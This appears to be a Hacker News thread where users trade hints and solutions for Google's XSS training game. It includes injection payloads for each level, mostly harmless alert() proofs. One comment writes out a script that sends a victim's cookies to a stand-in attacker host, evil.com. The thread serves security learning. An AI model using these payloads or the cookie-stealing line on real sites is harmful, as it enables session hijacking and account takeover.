22 ms·
Google's XSS game
- sebastianavina 12y ago.
- teddybear06 12y agoNice ! Thanks for sharing :-)
- deleted 12y ago[deleted]
- skoob 12y agoFor those interested in XSS challenges, there's also http://escape.alf.nu http://escape.alf.nu , which I think has a slightly better UI.
- 0xFACE1E55 12y agoI hate the spoilers in the Facebook comments though.
- riffraff 12y agoI completed the game, but I honestly don't know: why wouldn't inject a script tag directly in level 2 work?
- gabemart 12y agoThe hint for level 3 reads: As before, using <script> ... as a payload won't work because the browser won't execute scripts added after the page has loaded. How do you solve level 3?
- vsakos 12y agotry '>
- gabemart 12y agoEugh, I'm blind. Thanks!
- borski 12y agoSimilar to level 2 - just be careful about escaping out of the image src, and making sure the rest of the line is invalidated. Think about how you would do it if you were writing JS on your own...
- jannes 12y agoFor me it actually worked to use a script tag, but I'm confused about why, as the hint says it shouldn't. This is the URL I used: https://xss-game.appspot.com/level3/frame#'><script>alert('bla')</script> But the hint is hinting at something more like this, I think: https://xss-game.appspot.com/level3/frame#' onerror="alert('bla')"> Can somebody explain why the first one worked? Are they wrong when they say that the browser won't execute scripts added after the page has loaded?
- maxjus 12y agoInterestingly, modern WebKit browsers include an "XSS auditor" that will refuse to run javascript sent in the request that loaded the page. It's pretty good (and open-source), so figuring out a way to have XSS without hitting the auditor is a big win for the attacker.
- aetch 12y agoWhy do we need the single quote after the # sign? I don't understand why and would like to know.
- sbd 12y agoin the chooseTab function you have the following line: html += "<img src='/static/level3/cloud" + num + ".jpg' />"; the src opens with a single quote and looks for the 'num' var. So instead of num in the URL, you close the single quote and then close the image tag, and then run your script.
- HackyGeeky 12y agoAs "sbd" said, the "html +=" statement is using the "num" parameter as it is. The real problem is the substring(1) function which passes the "num", instead of making sure the length is 1 it is allowing everything.
- matchu 12y agoMight be because the script is injected during `onload`, which is arguably the very end of the page-loading process. But, yeah, the hint is clearly incorrect in the latest version of Chrome.
- alisey 12y agoBecause you can't have tags inside of textarea. All data inside of textarea is interpreted as text.
- lazyjones 12y agoNice one; I gave up trying to solve the last with the http-only google.com/jsapi and hosted my own with https, but then it occurred to me that it's even more trivial than I thought! Checking our stuff for this mistake now ...
- yen223 12y agoWhat's the trivial solution to this? I also wound up hosting the malicious file on my personal server...
- deleted 12y ago[deleted]
- trias 12y agodata-uris also work: #data:text/javascript,alert('pwn')
- aidos 12y agoThat's what I used too. Hosting scripts is far too much like hard work...
- hrrsn 12y agoThere are apparently easier ways, but I just chucked an alert(); in my Dropbox public folder, did an //dl.dropboxusercontent.com/u/14XXX/xss.js as they serve both http and https.
- deleted 12y ago[deleted]
- joshschreuder 12y agoI put a small gist up and hotlinked through githack.com
- deleted 12y ago[deleted]
- 12y ago
- johnadam 12y agoHow do you solve lv4?
- lazyjones 12y ago' after the timer value, then proceed to construct a JS expression that will be evaluated before the call to setTimer ... Hint: '99'+moo() will evaluate nicely. Don't forgot the "open" the ' again.
- deleted 12y ago[deleted]
- lazyjones 12y agonope, OSX Safari
- deleted 12y ago[deleted]
- deleted 12y ago[deleted]
- rhubarbcustard 12y agoI can't figure how to close the quote after the '99 ? I realise that specifying ' on URL gets encoded to %27 but not sure how to turn that into the closing ' for startTime('99'); ..... Help!
- aetch 12y agoCan you elaborate on this? I tried that and got "unexpected identifier" as a console error. Not sure how it works.
- tautvidas 12y agoThe point is to break out of the startTimer() function call, e.g.: startTimer('');foo();//'); The remaining '); can be commented out in order to not create any syntax errors.
- thomasahle 12y agoI'm only trying to solve it for the cake.
- 0x4139 12y agocan someone share theirs hosted script that echos and alert? :D
- jonaspf 12y agohttps://rawgit.com/JonasPf/7bf2f1628aad57dbde56/raw/79910b56c00d92012bffe70294891cfde4ca296a/gistfile1.js https://rawgit.com/JonasPf/7bf2f1628aad57dbde56/raw/79910b56...
- krizan 12y ago//dl.dropboxusercontent.com/u/18177522/google_xss_game/alert.js
- sebslomski 12y agodata:text/javascript,alert('foo')
- LeonM 12y agoThank you sir! I learned something new today =)
- releasedatez 12y agoThank you!
- SimeVidas 12y agoJust add a foo.js file to any of your GitHub repos, grab its raw URL and pass it through rawgit.com.
- octatone2 12y agoThey provided a hosted callback in the clues. Just change foo to alert.
- adricnet 12y agoThe callback in the hints didn't work for me in the game, but the other suggestions here are working and quite eye opening ... That this works is really scary if not fully surprising: data:text/javascript;base64,YWxlcnQoMTMzNyk= Thanks jehna1 , sebslomski , all!
- octatone2 12y agoThat was super fun!
- laurencei 12y agoI asked this question once on SO and never really got a "great" answer I was after. If my site will only ever allow users to see their own submitted data, and never ever data another user has submitted (i.e. no general 'posts' etc) - then is there actually a XSS risk on my site? So I'm curious if an attacker can gain anything by looking at their own XSS attack? http://stackoverflow.com/q/10265624/1317935 http://stackoverflow.com/q/10265624/1317935
- danielweber 12y agoIf you missed something else, like a CSRF attack, an attacker could get you to submit an XSS request that sends your cookies to him. There are other defenses against that, like having HttpOnly set on your cookies. Once you decide to let one particular thing through, though, you've lost defense in depth.
- blahpro 12y agoYes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like <script>(new Image).src = "http://evil.com/stolencookie=" http://evil.com/stolencookie=" + document.cookie;</script>.
- myfonj 12y agoWee, cake is not a lie this time. Nice!
- SimeVidas 12y agoAh, I'm supposed to toggle the "Target code" box :) Ugh, I used DevTools to look at the <iframe> code for the first 3 steps.
- instakill 12y agoWhat is lvl2's answer? I'm trying: <img src='invalid_link.png' onerror="this.src='alert(1);'">
- SimeVidas 12y agojust onerror="alert(1)" :)
- JustMadMike 12y agoI did <a onclick="alert('hakz');">click</a>
- dagurp 12y agoMe too, except I used a button tag. Feels like cheating though.
- stevekemp 12y agoMy solution was: <img src="foo" onMouseOver="alert(33);" Interesting to see so many people used onError instead.
- octatone2 12y agoimg src='garbage' onerror='script' is gauranteed to auto execute, where mouseover requires the user to mouse over the element.
- dpacmittal 12y agoI used just onclick
- dnvsasm 12y agoonerror= is usually the one used in CTF and XSS examples!
- Toadsoup 12y agoOne of the hints says you can use onError() I'm sure that's where most people are getting it from.
- gpvos 12y agoFinally, cake.
- tristanperry 12y agoI had fun with this; definitely a good mini game to learn more about XSS, although it's a pitty that you can cheat-pass a level simply by appending '/record' to the end of the URL. (Granted it's just a game) I.e. https://xss-game.appspot.com/level1/record https://xss-game.appspot.com/level1/record allows you to go straight onto level 2. Anywhoo, HackThisSite is similar & worth checking out (albeit it covers a wider range of web app security issues)
- davinal12 12y agoHello there. How can you solve level 2 ? I used next sentence, but, it don't work. <img src=x onerror=prompt(/xD/)> Any suggest ?
- bsamuels 12y agoFor anyone who has never done XSS attacks before, you may find these learning resources helpful. https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_She... https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_P...
- michaelx386 12y agoDoes anyone know how to submit corrections to Google? I've not been able to find a way after noticing a few mistakes on Google's XSS help page. There are a few examples using an image tag but the tags haven't been closed properly: https://www.google.com/about/appsecurity/learning/xss/index.html#toggleDemo1-link https://www.google.com/about/appsecurity/learning/xss/index.... e.g. "Now, enter <img src='' onerror="alert(document.cookie);" and hit 'Share status!'."
- lnanek2 12y agoSome of their products have bug trackers. That said, I submitted some fixes to their Android docs in the Android issue tracker years ago. Really obvious stuff like where their sample code would cause a crash due to trying to start a dialog with the wrong type of context, etc.. They never fixed them. So there is essentially no way. They apparently have a bug bounty system, but you would have to exploit their mistakes to do injection or something before the mistake would qualify.
- mdwrigh2 12y agoThanks for at least attempting to contribute! If you'll point me towards the patches, or at least the bad docs, is be happy to help get them fixed.
- xss-game-bot 12y agoHey, thanks - it's a valid concern, though an important point (which isn't really well explained in the document) is that this payload will work even if the tag isn't properly terminated. One of the reasons for using such broken payloads is to demonstrate that browsers will happily parse broken markup and that approaches such as removing "<.*>" won't be effective as a technique to prevent XSS (because such a regexp won't match an unterminated tag like the example you pointed out). Still, it could at least use a better explanation. The documentation fairy will take a look!
- michaelx386 12y agoThank you for this explanation. It makes sense to me now as before I would have expected the "<.*>" approach to make it safe. It's a shame browsers are so resilient :)
- al2o3cr 12y ago"There will be cake at the end of the test." That's what the computer said LAST time. But I'm still alive... ;)
- mdhgriffiths 12y agoAhhh, that's what that was! http://snag.gy/43JI3.jpg http://snag.gy/43JI3.jpg
- TazeTSchnitzel 12y agoSpoiler alert!
- MrBra 12y agoHehe I immediately spotted it too :p
- mavfly 12y agoSomeone solved the level 6?
- neil_s 12y agoLevel 4 has a bug. Entering a string in the text box for the timer solves the problem, but putting that string directly as the get parameter in the URL doesn't. Anyone know how to report this?
- xss-game-bot 12y agoWhat payload are you using on that level? Keep in mind that ";" is often treated as a parameter separator in URLs, similarly to &. If you put it into the mock URL bar it will terminate the value of your parameter (see also http://en.wikipedia.org/wiki/Query_string#Web_forms http://en.wikipedia.org/wiki/Query_string#Web_forms) PS. Consider it reported, thanks!
- alisey 12y agoDo you have a '+' in your string? In URL it's interpreted as a space, use '%2B' instead.
- mikesena 12y agoThankyou. I was trying my payload but couldn't get it to work. I'm sure there's a better way to do it.
- jevin 12y agoThis is great! XSS is one of the hardest things to get right when it comes to security. I'll be sure to complete all the challenges, because I'm working on a product that could use some good HTML sanitizing.
- heri0n 12y agoon level 5 i tried to modify the url, but my quotes are automatically encoded, also tried encoding it using %22.. but didn't work.. I'm using chrome on osx, could it be a browser thing, i managed to get it to work by manually modifying the html using the developer tools :p
- heroku 12y agolast hint helped me
- aendruk 12y agoTheir background image is successfully reproducing the nauseating effects of this monitor test [1]. I can't look at it for long without experiencing physical discomfort. Perhaps disabling it is part of the game. [1]: http://www.lagom.nl/lcd-test/inversion.php http://www.lagom.nl/lcd-test/inversion.php
- honoredb 12y agoFun! Level 6 failed to load any widgets, evil or otherwise, in Chrome; I had to switch to Firefox and redo the whole test. For my external script I used http://pastebin.com/raw.php?i=15S5qZs0 http://pastebin.com/raw.php?i=15S5qZs0, although I don't think the lack of a .js extension there was the problem.
- dpacmittal 12y agoWeird. It worked fine for me in chrome.
- geoffroy 12y agogot the same problem, it only works with a https address !
- hornetblack 12y agoI had the same issue, I think it depends on browser configuration. Some browsers disallow http content on https pages.
- ff_ 12y agoNope. Works even if you use an address without http, but beginning with only "//"
- ufo 12y agoIn that example "//" is just another way to say "https://" https://", though.
- fred_durst 12y agoI hope this isn't a spoiler, but remember there are other ways to load resources without an external request. You can pass that stage without any requests to external servers.
- habosa 12y agoCare to spoil how? I used an external server (Dropbox), but I'd love to know how to do it without.
- prezjordan 12y agoThat was a lot of fun, appropriate amount of difficulty for noobs like me. The best part is the hints, too many of these sites have points where I go "Oh, well I don't know how to do this, and I don't see how I could figured it out, so I guess I'll just leave"
- jeffreyrogers 12y agoThis is really interesting. Does anyone have any recommendations for similar sites/challenges? I'm aware of this: https://microcorruption.com/ https://microcorruption.com/, which is somewhat related.
- finalight 12y agohaha took me a while to pass level 2
- geoffroy 12y agoI enjoyed the game ! thanks
- fataliss 12y agoWell the first levels are trivial, right click "inspect element" and adding a onClick="alert();" on a random button and tadaa. I'm not sure you can qualify this as XSS attack though, can you?
- ChrisSlx 12y agoYou did it wrong.
- htd 12y agoLoved it. Though got struck in Lvl4 and 6. But lvl4 was really a smart question.
- tieTYT 12y agoI probably should be too embarrassed to ask this question, but why can't I use script tags in the second test? I don't understand what's preventing me from doing that.
- nickmccann 12y agoThe second question disallows the script tag.
- tieTYT 12y agoHow is it doing that?
- wasd 12y agoUsing <script> ... as a payload won't work because the browser won't execute scripts added after the page has loaded.
- goblin89 12y agoThe browser smartly won't execute scripts added through innerHTML, but it probably should be noted that jquery's html() method will[0]. There's always a way to shoot yourself in the foot. :) [0] http://api.jquery.com/html/ http://api.jquery.com/html/
- hckr1292 12y agoit's not blocking the scripts from being inserted. Inspect the DOM and you'll see them there.
- tetrep 12y ago(spoilers!) https://developer.mozilla.org/en-US/docs/Web/API/Element.innerHTML#Security_considerations https://developer.mozilla.org/en-US/docs/Web/API/Element.inn...
- nero_luci 12y agoHow to solve level 5? :((( I tried a lot with onClick and different js scripts on querry parameter... nothin' :(((
- hhaidar 12y ago* SPOILERS * For #5 you can just do javascript:alert()
- hhaidar 12y ago* MORE SPOILERS! * #6 looks like: https://xss-game.appspot.com/level6/frame#//rawgit.com/hhaidar/google-xss-game-test/master/test.js https://xss-game.appspot.com/level6/frame#//rawgit.com/hhaid...
- thekos 12y agoThis works also, and doesn't require a hosted file: https://xss-game.appspot.com/level6/frame#data:text/plain,alert(1) https://xss-game.appspot.com/level6/frame#data:text/plain,al...
- mpetrov 12y agoAlso just putting a space in front of https:// https:// works, the script tag handles the leading space just fine.
- dvirsky 12y agoEven simpler - Https://
- alttag 12y agoDon't know that's it's necessary to put the spoiler here. The hints provide an alternative to hosting a file.
- muraiki 12y agoGoogle has another game for learning webapp exploits and defenses here: https://google-gruyere.appspot.com/ https://google-gruyere.appspot.com/ I tried it a while back and enjoyed it quite a bit. I forget if I completely finished it or not, but it was educational.
- greyfox 12y agocan someone help with level 5?
- devty 12y agohttp://stackoverflow.com/questions/7347786/html-anchor-tag-with-javascript-onclick-event http://stackoverflow.com/questions/7347786/html-anchor-tag-w... This link might help (or spoil your fun)
- personjerry 12y agoThis should really direct to the http instead of https version to avoid the mixed content error for problem 6.
- WickyNilliams 12y agothe google jsapi has SSL set up, so mixed content shouldn't be an issue. See: https://www.google.com/jsapi?callback=alert https://www.google.com/jsapi?callback=alert
- fhandley 12y agoSo did anyone else cheat their way to the cake level?
- codezero 12y agoSo, does the cake have a recruiting message encoded in it? :)
- tmp4_20140529 12y agoLevel 4 Spoiler: https://xss-game.appspot.com/level4/frame?timer=3')%3balert(' https://xss-game.appspot.com/level4/frame?timer=3')%3balert(...
- mavfly 12y agoFinally made it all levels ;). http://rawgit.com/ http://rawgit.com/ was helpful
- reidrac 12y agoLooks like using Google's jsapi callback to pop-up the alert doesn't work any more, so that tip in the last one is misleading. (unless I was doing it wrong)
- k-mcgrady 12y agoI love this. I know very little about xss and web app security so this is a fun way to learn.
- penguindev 12y agoIs there more than way to attack level 3? SPOILER: I used the " html += "<img src='/static/level3/cloud" + num + ".jpg' />"; " untrusted injection, but after reading the hints it seems to be suggesting window.location and the postmessage to parent stuff.
- shtolcers 12y agolearned some new things thanks
- samuelb 12y agohttps://www.google.com/about/appsecurity/learning/xss/index.html https://www.google.com/about/appsecurity/learning/xss/index....